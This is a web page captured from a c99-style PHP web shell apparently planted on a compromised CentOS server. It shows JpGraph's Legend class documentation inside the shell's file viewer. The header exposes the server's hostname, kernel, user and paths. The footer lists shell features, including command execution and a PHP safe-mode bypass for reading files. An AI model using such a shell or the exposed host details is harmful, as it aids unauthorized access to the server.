Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage_22222/jpgraph/docs/ref/ drwxr-xr-x |
Viewing file: Select action/file-type: CLASS Legend
(Defined in: jpgraph.php : 7554)Class usage and Overview This class is responsible for drawing a legend at the specified position in the graph. Individual data series are added by calling it's Add() method.
This is all handled by the framework. Legend is instantiated in the graph as instance variable legend. When stroking individual plots this instance variable is used by the individual Legend() methods in the plot classes to add whatever the individual plots need to add.
Class Methods
Description Hides the legend. Example
Description Set the position of the legend box on the Graph. The alignment arguments determine how the position of the legend box should be interpretated, i.e from what position on the Graph should the fraction be counted. ('right' uses the right side and positoins the legend with its left side according to the specified fraction and so on). Possible alignemts are:
Horizontal: 'left','right','center' Please note that the X and Y positions should be give as fractions , i.e Pos(0.1,0.1)
If the alignment is not given the the default is 'right','top' Example
Description Specify X and Y coordinate for the legend box Example $graph->legend->SetAbsPos(10,10,'right','top')
Description Specify the color for both the frame around the legend box as well as the font color used for the legend texts. Please note that this does not affect the fill color of the legend box. See also Legend::SetFillColor
Example
Description Specify the number of text columns to use in the legend text box. For graphs which have a large number of plots it might be necessary to specify 2 or more columns to avois that the legend box become to large.
By default i column us used. Example
Description Specify the background color for the legend box. The properties for the legend is noramlly accessed through the graph instance variable '$legend' See also Legend::SetColor
Example
Description Set font for texts in legend box. Example
Description Specify the width of the frame around the Legend box Example
Description Specify margin between columns in te legend
Description The legend box can either have the legend stacke vertically or horizontally. The default is vertically stacked legends.
Allowed arguments: LEGEND_VERT,LEGEND_HOR
Please note that horizontal layout is only suitable for a few legends since it makes use of quite a lot of horizontal space. Example $graph->legend->Pos(0.5,0.0.5,'left','bottom'); $graph->legend->SetLayout(LEGEND_HOR);
Description Specify marging between the left edge and the first column
Description Extra vertical spacing (in pixels) between rows Example $graph->legend->SetLineSpacing(5);
Description Specify the line width for the color boxes that are used as indicators. Example
Description Specify the size of the marker in pixels to be used in the legend. This is used for the plot marks, for example squares or circles, when you want to control what the size used in the legend should be.
It is often desirable to use a smaller size for the marks in the legend than in the graph itself. Example
Description See Legend::Pos() See also Legend::Pos
Example
Description Print the legend in reverse order Example
Description Add a drop down shadow for the legend box. Example $graph->legend->SetShadow();
Description Specify the margin between rows in the legend
|
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0065 ]-- |